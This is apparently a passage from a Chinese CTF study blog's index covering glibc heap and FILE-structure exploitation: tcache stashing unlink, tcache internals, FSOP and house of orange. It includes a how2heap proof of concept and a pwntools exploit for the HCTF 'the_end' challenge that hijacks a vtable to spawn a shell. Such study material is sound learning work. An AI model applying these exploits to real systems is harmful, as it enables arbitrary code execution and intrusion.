tc_idx); // 将tc_victim链入tc_idx这条链 } } } #endif void *p = chunk2mem (victim); // 将chunk转换为用户可用内存 alloc_perturb (p, bytes); // 对分配的内存进行扰动 return p; // 返回分配的内存 } } 范围2.27-至今\ntcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。\n由于smallbin 分配后，同大小的空闲块挂进会 tcache。且只有第一个chunk脱链时进行了链表完整性检查\n攻击可实现两个效果：\n1、任意地址上写一个main_area地址\n2、任意地址分配chunk(构造合适)\n实现第二种效果时\n假设calloc之前smallbin中\nFD:main_area-\u0026gt;chunk2-\u0026gt;chunk1\n我们将chunk2的bk改为fakechunk1,然后修改fakechunk1的bk为fake2，则BK:fakechunk2\u0026lt;-fakechunk1\u0026lt;-chunk2\u0026lt;-chunk1\u0026lt;-main_area\ncalloc分配chunk1给用户，chunk2脱链进入tcache_bin,然后fake_chunk1进入tcache ，fakechunk2-\u0026gt;fd=main_area\n如果不修改fakechunk1的bk为一个可写地址(fake_chunk2)，则\n1 2 3 4 5 6 bck = tc_victim-\u0026gt;bk; // 这里取tc_victim的bk指针，并没有针对bck做双向链表完整性检查，因此我们可以去攻击tc_victim的bk指针 set_inuse_bit_at_offset (tc_victim, nb); if (av != \u0026amp;main_arena) set_non_main_arena (tc_victim); bin-\u0026gt;bk = bck; // 将tc_victim从small bin中脱链 bck-\u0026gt;fd = bin; / 这里的bck不可写，fake_chunk1无法脱链\nhttps://blog.csdn.net/Mr_Fmnwon/article/details/142649778\n这篇文章图画的很详细\nhow2heap例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;assert.h\u0026gt; int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf(\u0026#34;这个文件演示了tcache上的stashing unlink攻击。\\n\\n\u0026#34;); printf(\u0026#34;这个poc已经在glibc-2.27、glibc-2.29和glibc-2.31上测试过。\\n\\n\u0026#34;); printf(\u0026#34;当你能够覆盖victim-\u0026gt;bk指针时，可以使用这个技术。此外，至少需要使用calloc分配一次chunk。最后，我们需要一个可写地址来绕过glibc中的检查。\\n\\n\u0026#34;); printf(\u0026#34;在glibc中将smallbin放入tcache的机制给了我们发动攻击的机会。\\n\\n\u0026#34;); printf(\u0026#34;这个技术允许我们将libc地址写到我们想要的任何地方，并在我们需要的地方创建一个假的chunk。在这个案例中，我们将在堆栈上创建这个chunk。\\n\\n\u0026#34;); // stack_var模拟我们想要分配的fake_chunk printf(\u0026#34;stack_var模拟我们想要分配的fake chunk。\\n\\n\u0026#34;); printf(\u0026#34;首先，我们将一个可写地址写入fake_chunk-\u0026gt;bk以绕过glibc中的bck-\u0026gt;fd = bin检查。这里我们选择stack_var[2]的地址作为假的bk。稍后我们可以看到*(fake_chunk-\u0026gt;bk + 0x10)，也就是stack_var[4]将在攻击后成为libc地址。\\n\\n\u0026#34;); stack_var[3] = (unsigned long)(\u0026amp;stack_var[2]); printf(\u0026#34;你可以看到fake_chunk-\u0026gt;bk的值是:%p\\n\\n\u0026#34;,(void*)stack_var[3]); printf(\u0026#34;同时，让我们看看stack_var[4]的初始值:%p\\n\\n\u0026#34;,(void*)stack_var[4]); printf(\u0026#34;现在我们用malloc分配9个chunks。\\n\\n\u0026#34;); //现在我们分配9个chunks for(int i = 0;i \u0026lt; 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //将7个chunks放入tcache printf(\u0026#34;然后我们释放其中7个以将它们放入tcache。我们小心地没有按序释放chunk2到chunk9，因为相邻的unsorted bin会在另一个malloc之后合并。\\n\\n\u0026#34;); for(int i = 3;i \u0026lt; 9;i++){ free(chunk_lis[i]); } printf(\u0026#34;正如你所见，chunk1和[chunk3,chunk8]被放入tcache bins，而chunk0和chunk2将被放入unsorted bin。\\n\\n\u0026#34;); //最后一个tcache bin free(chunk_lis[1]); //现在它们被放入unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //转换为small bin printf(\u0026#34;现在我们分配一个大于0x90的chunk以将chunk0和chunk2放入small bin。\\n\\n\u0026#34;); malloc(0xa0);// size \u0026gt; 0x90 //现在5个tcache bins printf(\u0026#34;然后我们分配两个chunk以腾出small bins的空间。之后，我们现在有5个tcache bins和2个small bins。\\n\\n\u0026#34;); malloc(0x90); malloc(0x90); printf(\u0026#34;现在我们模拟一个可以覆盖victim-\u0026gt;bk指针到fake_chunk地址: %p的漏洞。\\n\\n\u0026#34;,(void*)stack_var); //更改victim-\u0026gt;bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //触发攻击 printf(\u0026#34;最后我们用calloc分配一个0x90的chunk以触发攻击。之前释放的小bin将返回给用户，另一个和fake_chunk被链接到tcache bins。\\n\\n\u0026#34;); calloc(1,0x90); printf(\u0026#34;现在我们的fake chunk已经被放入tcache bin[0xa0]列表。它的fd指针现在指向下一个空闲chunk: %p，而bck-\u0026gt;fd已经被更改为一个libc地址: %p\\n\\n\u0026#34;,(void*)stack_var[2],(void*)stack_var[4]); //分配并返回我们的fake chunk在堆栈上 target = malloc(0x90); printf(\u0026#34;正如你所见，下一次malloc(0x90)将返回我们的fake chunk区域: %p\\n\u0026#34;,(void*)target); assert(target == \u0026amp;stack_var[2]); return 0; } ","date":"2026-03-12T15:21:28+08:00","image":"http://localhost:1313/image/tcache_stashing_unlink_attack.jpg","permalink":"http://localhost:1313/p/tcache-stashing-unlink-attack/","title":"tcache stashing unlink attack"},{"content":"https://hefangyu3313.github.io/2025/11/18/tcache-attack/\ntcache介绍 1.每个线程默认使用64个单链表结构的bins，每个bins最多存放7个chunk，64位机器16字节递增，从0x20到0x410，也就是说位于以上大小的chunk释放后都会先行存入到tcache bin中，当申请大于7个就会放入fastbins，但是tcache优先级高于fastbins，tcache先被申请出来 2.对于每个tcache bin单链表，它和fast bin一样都是先进后出，而且prev_inuse标记位都不会被清除，所以tcache bin中的chunk不会被合并，即使和Top chunk相邻。 tcache机制出现后，每次产生堆都会先产生一个0x250大小的堆块，该堆块位于堆的开头，用于记录64个bins的地址（这些地址指向用户数据部分）以及每个bins中chunk数量。在这个0x250大小的堆块中，前0x40个字节用于记录每个bins中chunk数量，每个字节对应一条tcache bin链的数量，从0x20开始到0x410结束，刚好64条链，然后剩下的每8字节记录一条tcache bin链的开头地址，也是从0x20开始到0x410结束。还有一点值得注意的是，tcache bin中的fd指针是指向malloc返回的地址，也就是用户数据部分，而不是像fast bin单链表那样fd指针指向chunk头。 tcache关键代码(2.35) 相关结构和基础操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence \u0026#34;tcache_perthread_struct\u0026#34;). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS];//每条链的chuunk数 tcache_entry *entries[TCACHE_MAX_BINS];//每条链的入口 } tcache_perthread_struct; tcache_perthread_struct是tcache的管理结构，counts里存放着每个tcache链上的chunk个数，entries是tcache链表的入口，与fastbinY差不多\ntcache_perthread_struct分配在堆的头部，比较容易控制\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 /* Caller must ensure that we know tc_idx is valid and there\u0026#39;s room for more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); /* Mark this chunk as \u0026#34;in the tcache\u0026#34; so the test in _int_free will detect a double free. */ e-\u0026gt;key = tcache_key; //防止double free的key e-\u0026gt;next = PROTECT_PTR (\u0026amp;e-\u0026gt;next, tcache-\u0026gt;entries[tc_idx]); //将当前bin头部chunk的指针加密后赋给next tcache-\u0026gt;entries[tc_idx] = e; //将这个chunk存进相应索引的bin链表头部（更新bin头部） ++(tcache-\u0026gt;counts[tc_idx]); } /* Caller must ensure that we know tc_idx is valid and there\u0026#39;s available chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) //从tcachebin取出chunk { tcache_entry *e = tcache-\u0026gt;entries[tc_idx]; //根据计算好的索引取出链表头部的chunk if (__glibc_unlikely (!aligned_OK (e))) //检查chunk对齐 malloc_printerr (\u0026#34;malloc(): unaligned tcache chunk detected\u0026#34;); tcache-\u0026gt;entries[tc_idx] = REVEAL_PTR (e-\u0026gt;next); //解密并修改头部 --(tcache-\u0026gt;counts[tc_idx]); e-\u0026gt;key = 0; //key位置置空 return (void *) e; } 主要存在两个安全机制，一个是key来检测double free一个是safe linking(就是在tcache_put和tcache_get中对next指针内容的加密和解密操作)\ndouble free check 2.27后增加\ntcache_put在放入chunk后,加入了e-\u0026gt;key=tcache\n在free时会检测key是否等于tcache\ntcache_get在拿出chunk后将key置为空\nsafe linking glibc2.32新增的防御机制\n其核心思想是将指针的地址右移12位再和指针本身异或，所以在修改next指针时，需要知道对应的堆地址\n","date":"2026-03-08T23:45:28+08:00","image":"http://localhost:1313/image/tcache.jpg","permalink":"http://localhost:1313/p/tcache-bin%E5%AD%A6%E4%B9%A0/","title":"tcache bin学习"},{"content":"https://www.cnblogs.com/mazhatter/p/18475598\nIO_FILE简介 程序进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示，通过这个值可以遍历所有的FILE结构，大致的链表结构如下图：\n图中三个FILE是程序自动打开的三个文件流 一般位于libc段\n后续用户打开文件一般位于heap段\n1 2 3 4 5 6 7 8 9 10 /* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */ struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; 最终描述文件流文件的数据结构是_IO_FILE_plus\n1 2 3 4 5 struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; }; 其中有_IO_FILE结构体和_IO_jump_t类型的指针vtable，虚表，即各种操作函数的指针。\n_IO_FILE结构体如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 struct _IO_FILE { int _flags;\t/* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr;\t/* Current read pointer */ char *_IO_read_end;\t/* End of get area. */ char *_IO_read_base;\t/* Start of putback+get area. */ char *_IO_write_base;\t/* Start of put area. */ char *_IO_write_ptr;\t/* Current put pointer. */ char *_IO_write_end;\t/* End of put area. */ char *_IO_buf_base;\t/* Start of reserve area. */ char *_IO_buf_end;\t/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don\u0026#39;t get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; _IO_jump_t结构体如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; _flags规则 先简介一下_flag的规则，_flag的高两位字节是由libc固定的，不同的libc可能存在差异，但是基本上都为0xfbad0000。高两位字节其实就是作为一个标识，标志这是一个什么文件。而低两位字节的位数规则决定了程序的执行状态，低两位的规则如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 1 /* User owns buffer; don\u0026#39;t delete it on close. */ #define _IO_UNBUFFERED 2 #define _IO_NO_READS 4 /* Reading not allowed */ #define _IO_NO_WRITES 8 /* Writing not allowd */ #define _IO_EOF_SEEN 0x10 #define _IO_ERR_SEEN 0x20 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don\u0026#39;t call close(_fileno) on cleanup. */ #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/ #define _IO_IN_BACKUP 0x100 #define _IO_LINE_BUF 0x200 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */ #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 #define _IO_BAD_SEEN 0x4000 #define _IO_USER_LOCK 0x8000 在执行流程中会将_flag和定义常量进行按位与运算，并根据与运算的结构进行判断如何执行。\nputs()函数执行流程及泄露信息方式 省流 1 2 3 _IO_puts --\u0026gt;\u0026gt; _IO_new_file_xsputn --\u0026gt;\u0026gt; _IO_OVERFLOW --\u0026gt;\u0026gt; _IO_do_write(_IO_new_do_write) --\u0026gt;\u0026gt; _new_do_write --\u0026gt;\u0026gt; _IO_SYSWRITE _IO_LINE_BUF=0\n_IO_NO_WRITES=0\n_IO_CURRENTLY_PUTTING=0\n_IO_IS_APPENDING=0\n_IO_write_end\u0026lt;=_IO_write_ptr(一般情况下他俩相等,不需要管这个条件)\n这时puts输出的就是_IO_write_base-\u0026gt;_IO_write_ptr之间的内容\n满足这个前四个条件的_flags=0xfbad1800\n_IO_puts \u0026ndash;\u0026gt; _IO_new_file_xsputn puts函数在源码里称为_IO_puts\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) \u0026amp;\u0026amp; _IO_sputn (stdout, str, len) == len//调用了__IO_sputn \u0026amp;\u0026amp; _IO_putc_unlocked (\u0026#39;\\n\u0026#39;, stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; } _IO_sputn其实是一个宏，会调用_IO_new_file_xsputn函数\n_IO_new_file_xsputn \u0026ndash;\u0026gt; _IO_OVERFLOW 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { const char *s = (const char *) data; size_t to_do = n; int must_flush = 0; size_t count = 0; if (n \u0026lt;= 0) return 0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ((f-\u0026gt;_flags \u0026amp; _IO_LINE_BUF) \u0026amp;\u0026amp; (f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { count = f-\u0026gt;_IO_buf_end - f-\u0026gt;_IO_write_ptr; if (count \u0026gt;= n) { const char *p; for (p = s + n; p \u0026gt; s; ) { if (*--p == \u0026#39;\\n\u0026#39;) { count = p - s + 1; must_flush = 1; break; } } } } else if (f-\u0026gt;_IO_write_end \u0026gt; f-\u0026gt;_IO_write_ptr) count = f-\u0026gt;_IO_write_end - f-\u0026gt;_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count \u0026gt; 0) { if (count \u0026gt; to_do) count = to_do; f-\u0026gt;_IO_write_ptr = __mempcpy (f-\u0026gt;_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush \u0026gt; 0) { size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f-\u0026gt;_IO_buf_end - f-\u0026gt;_IO_buf_base; do_write = to_do - (block_size \u0026gt;= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count \u0026lt; do_write) return n - to_do; } /* Now write out the remainder. Normally, this will fit in the buffer, but it\u0026#39;s somewhat messier for line-buffered files, so we let _IO_default_xsputn handle the general case. */ if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do; } 这里我们需要进入_IO_OVERFLOW函数满足下一步ch==EOF的要求，将\n_IO_LINE_BUF设为0\n并满足_IO_write_end\u0026lt;=_IO_write_ptr\n来绕过前面面的if分支\n_IO_new_file_overflow \u0026ndash;\u0026gt; _IO_do_write 调用 __overflow其实是去调用 _IO_new_file_overflow，位置在：glibc/libio/fileops.c：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int _IO_new_file_overflow (FILE *f, int ch) { if (f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) /* SET ERROR */ { f-\u0026gt;_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } /* If currently reading or no buffer allocated. */ if ((f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING) == 0 || f-\u0026gt;_IO_write_base == NULL) { /* Allocate a buffer if needed. */ if (f-\u0026gt;_IO_write_base == NULL) { _IO_doallocbuf (f); _IO_setg (f, f-\u0026gt;_IO_buf_base, f-\u0026gt;_IO_buf_base, f-\u0026gt;_IO_buf_base); } /* Otherwise must be currently reading. If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end, logically slide the buffer forwards one block (by setting the read pointers to all point at the beginning of the block). This makes room for subsequent output. Otherwise, set the read pointers to _IO_read_end (leaving that alone, so it can continue to correspond to the external position). */ if (__glibc_unlikely (_IO_in_backup (f))) { size_t nbackup = f-\u0026gt;_IO_read_end - f-\u0026gt;_IO_read_ptr; _IO_free_backup_area (f); f-\u0026gt;_IO_read_base -= MIN (nbackup, f-\u0026gt;_IO_read_base - f-\u0026gt;_IO_buf_base); f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_read_base; } if (f-\u0026gt;_IO_read_ptr == f-\u0026gt;_IO_buf_end) f-\u0026gt;_IO_read_end = f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_buf_base; f-\u0026gt;_IO_write_ptr = f-\u0026gt;_IO_read_ptr; f-\u0026gt;_IO_write_base = f-\u0026gt;_IO_write_ptr; f-\u0026gt;_IO_write_end = f-\u0026gt;_IO_buf_end; f-\u0026gt;_IO_read_base = f-\u0026gt;_IO_read_ptr = f-\u0026gt;_IO_read_end; f-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; if (f-\u0026gt;_mode \u0026lt;= 0 \u0026amp;\u0026amp; f-\u0026gt;_flags \u0026amp; (_IO_LINE_BUF | _IO_UNBUFFERED)) f-\u0026gt;_IO_write_end = f-\u0026gt;_IO_write_ptr; } if (ch == EOF)//这里进入下一步 return _IO_do_write (f, f-\u0026gt;_IO_write_base,f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base); if (f-\u0026gt;_IO_write_ptr == f-\u0026gt;_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF; *f-\u0026gt;_IO_write_ptr++ = ch; if ((f-\u0026gt;_flags \u0026amp; _IO_UNBUFFERED) || ((f-\u0026gt;_flags \u0026amp; _IO_LINE_BUF) \u0026amp;\u0026amp; ch == \u0026#39;\\n\u0026#39;)) if (_IO_do_write (f, f-\u0026gt;_IO_write_base, f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base) == EOF) return EOF; return (unsigned char) ch; } 1 2 if (ch == EOF)//这里进入下一步 return _IO_do_write (f, f-\u0026gt;_IO_write_base,f-\u0026gt;_IO_write_ptr - f-\u0026gt;_IO_write_base); ch==EOF时会调用_IO_do_write，输出_IO_write_ptr到_IO_write_base之间的值，为了通过前面的if判断 我们需要将\n_flags \u0026amp; _IO_NO_WRITES==0\n_flags \u0026amp; _IO_CURRENTLY_PUTTING==1\n_IO_new_do_write \u0026ndash;\u0026gt; _new_do_write 1 2 3 4 5 6 int _IO_new_do_write (FILE *fp, const char *data, size_t to_do) { return (to_do == 0 || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF; } new_do_write \u0026ndash;\u0026gt; _IO_SYSWRITE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 static size_t new_do_write (FILE *fp, const char *data, size_t to_do) { size_t count; if (fp-\u0026gt;_flags \u0026amp; _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp-\u0026gt;_offset = _IO_pos_BAD; else if (fp-\u0026gt;_IO_read_end != fp-\u0026gt;_IO_write_base) { off64_t new_pos = _IO_SYSSEEK (fp, fp-\u0026gt;_IO_write_base - fp-\u0026gt;_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp-\u0026gt;_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp-\u0026gt;_cur_column \u0026amp;\u0026amp; count) fp-\u0026gt;_cur_column = _IO_adjust_column (fp-\u0026gt;_cur_column - 1, data, count) + 1; _IO_setg (fp, fp-\u0026gt;_IO_buf_base, fp-\u0026gt;_IO_buf_base, fp-\u0026gt;_IO_buf_base); fp-\u0026gt;_IO_write_base = fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_buf_base; fp-\u0026gt;_IO_write_end = (fp-\u0026gt;_mode \u0026lt;= 0 \u0026amp;\u0026amp; (fp-\u0026gt;_flags \u0026amp; (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp-\u0026gt;_IO_buf_base : fp-\u0026gt;_IO_buf_end); return count; } 这个里elseif分支调用的是_IO_SYSSEEK，所以我们需要将_flags \u0026amp; _IO_IS_APPENDING设为1防止进入该分支\n劫持vtable控制程序执行流 vtable是IO_jump_t类型的指针，IO_jump_t中保存了一些函数指针，一些标准IO函数会调用这些函数指针\n利用方法有两种\n1直接任意地址写修改vtable中的函数指针(2.23不可写)\n2将vtable指向可控内存并在其中布置函数指针\n2018 HCTF the_end 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall __noreturn main(int a1, char **a2, char **a3) { int i; // [rsp+4h] [rbp-Ch] void *buf; // [rsp+8h] [rbp-8h] BYREF sleep(0); printf(\u0026#34;here is a gift %p, good luck ;)\\n\u0026#34;, \u0026amp;sleep); fflush(_bss_start); close(1); close(2); for ( i = 0; i \u0026lt;= 4; ++i ) { read(0, \u0026amp;buf, 8uLL); read(0, buf, 1uLL); } exit(1337); } 给了一个libc地址然后可以任意地址写五字节\nexit函数会调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数\n可以用两个字节劫持vtable为一个合适的地址(fake_vtable),三个字节修改fake_vtable+0x58处为one_gadget\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import* context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p=process(\u0026#39;the_end\u0026#39;) gdb.attach(p,\u0026#39;b *$rebase(0x964)\u0026#39;) p.recvuntil(b\u0026#39;0x\u0026#39;) libcbase=int(p.recv(12),16)-0xcc2b0 print(hex(libcbase)) setbuf=libcbase+0x3c3738 fake_vtable=libcbase+0x3c5650 target=fake_vtable+0x58 vtable=libcbase+0x3C56F8 one=[0x4527a,0xf03a4,0xf1247] ogg=libcbase+one[2] for i in range(2): p.send(p64(vtable+i)) p.send(bytes([p64(fake_vtable)[i]])) for i in range(3): p.send(p64(target+i)) p.send(bytes([p64(ogg)[i]])) print(hex(target)) print(hex(ogg)) p.sendline(\u0026#34;exec /bin/sh 1\u0026gt;\u0026amp;0\u0026#34;)#重定向文件流1为0 p.interactive() ","date":"2026-03-08T23:34:28+08:00","image":"http://localhost:1313/image/iostart/iostart2.jpg","permalink":"http://localhost:1313/p/%E5%88%9D%E8%AF%86io/","title":"初识IO"},{"content":"本文参考 https://www.cnblogs.com/ZIKH26/articles/16712469.html\nHouse of orange house of orange是一种利用堆溢出改小topchunk的size,然后通过申请一个大小在topchunk_size和mmap阈值(0x20000)之间的chunk，从而将原本的topchunk放入unsortedbin中的方法\n其作用就是在没有free函数的情况下创造一个unsortedbin_chunk\n需要绕过的两个检测如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 old_top = av-\u0026gt;top;//原本old top chunk的地址 old_size = chunksize (old_top);//原本old top chunk的size old_end = (char *) (chunk_at_offset (old_top, old_size));//old top chunk的地址加上其size brk = snd_brk = (char *) (MORECORE_FAILURE); /* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert ((old_top == initial_top (av) \u0026amp;\u0026amp; old_size == 0) || ((unsigned long) (old_size) \u0026gt;= MINSIZE \u0026amp;\u0026amp; prev_inuse (old_top) \u0026amp;\u0026amp; ((unsigned long) old_end \u0026amp; (pagesize - 1)) == 0)); assert ((unsigned long) (old_size) \u0026lt; (unsigned long) (nb + MINSIZE)); 第一个assert的第一种情况要满足old_size==0，而在我们利用时topchunk已初始化，size不为0，所以只能第二种条件\n1 ((unsigned long) (old_size) \u0026gt;= MINSIZE,旧topchunk_size大于最小size\n2 prev_inuse (old_top),要求旧topchunk prev_use位为1\n3 ((unsigned long) old_end \u0026amp; (pagesize - 1)) == 0))，topchunk_addr+topchunk_size满足页对齐也就是该address\u0026amp;0xfff=0\n总结 修改size时满足\n1 2 3 1 size\u0026lt;MINSIZE 2 prev_inuse=1 3 topchunk_addr+size\u0026amp;0xfff=0 再次申请chunk满足\n1 2 1 申请chunk的nb+MINSIZE大于topchunk_size 2 nb\u0026lt;0x20000 单纯house of orange起到的作用非常优有限，通常和其他手法结合使用，与FSOP结合就是一种经典的利用方法\nFSOP FSOP介绍 程序所有FILE由字段由_IO_FILE结构体当中的_chain字段连接成链表，这个链表的表头是_IO_liast_all,FSOP通过修改_IO_list_all和_chain字段，使IO_FILE落到可控内存中。然后使用_IO_flush_all_lockp（也就是fflush）刷新文件流，fflush最终调用vtable中的_IO_overflow\n前面提到了FSOP将IO_FILE修改成了我们可控的地址，所以我们可以修改vtable的_IO_overflow为system ，而这个函数的第一个参数就是IO_FILE结构体的地址，因此我们让IO_FILE结构体中的flags成员为/bin/sh字符串，那么当执行exit函数或者libc执行abort流程(2.26及之前)时或者程序从main函数返回时触发了_IO_flush_all_lockp即可拿到shell\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, \u0026#34;The attack vector of this technique was removed by changing the behavior of malloc_printerr, \u0026#34; \u0026#34;which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\\n\u0026#34;); fprintf(stderr, \u0026#34;Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,\u0026#34; 